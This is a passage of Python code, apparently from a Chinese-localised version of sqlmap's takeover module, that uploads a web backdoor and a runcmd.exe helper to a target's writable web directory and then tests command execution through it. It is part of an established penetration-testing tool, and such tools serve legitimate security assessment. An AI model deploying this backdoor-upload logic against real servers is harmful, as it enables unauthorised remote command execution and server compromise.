match = re.search(
r'input type=hidden name=scriptsdir value="([^"]+)"',
uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName,
backdoorDirectory,
content=backdoorContent.replace(
"WRITABLE_DIR",
backdoorDirectory).replace(
"RUNCMD_EXE", _)):
self.webUpload(_,
backdoorDirectory,
filepath=os.path.join(
paths.SQLMAP_EXTRAS_PATH, "runcmd",
"runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl,
backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName,
posixToNtSlashes(directory) if
Backend.isOs(OS.WINDOWS) else directory,
content=backdoorContent):
warnMsg = "后门没有通过file stager成功上传，"
warnMsg += "这可能是因为运行Web服务器进程的用户没有权限"
warnMsg += "在运行DBMS进程的用户文件夹中上传文件，因为没有写入权限，"
warnMsg += "或者因为DBMS和Web服务位于不同的服务器上"
logger.warn(warnMsg)
message = "你想尝试使用与文件stager相同的方法? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName,
directory)
else:
continue
self.webBackdoorUrl = posixpath.join(
ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(
ntToPosixSlashes(directory), backdoorName)
testStr = "命令执行测试"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "后门已经上传，但缺少运行系统命令的必需权限"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "后门已经成功 "
else:
infoMsg = "后门可能已经成功 "
infoMsg += "上传到'%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break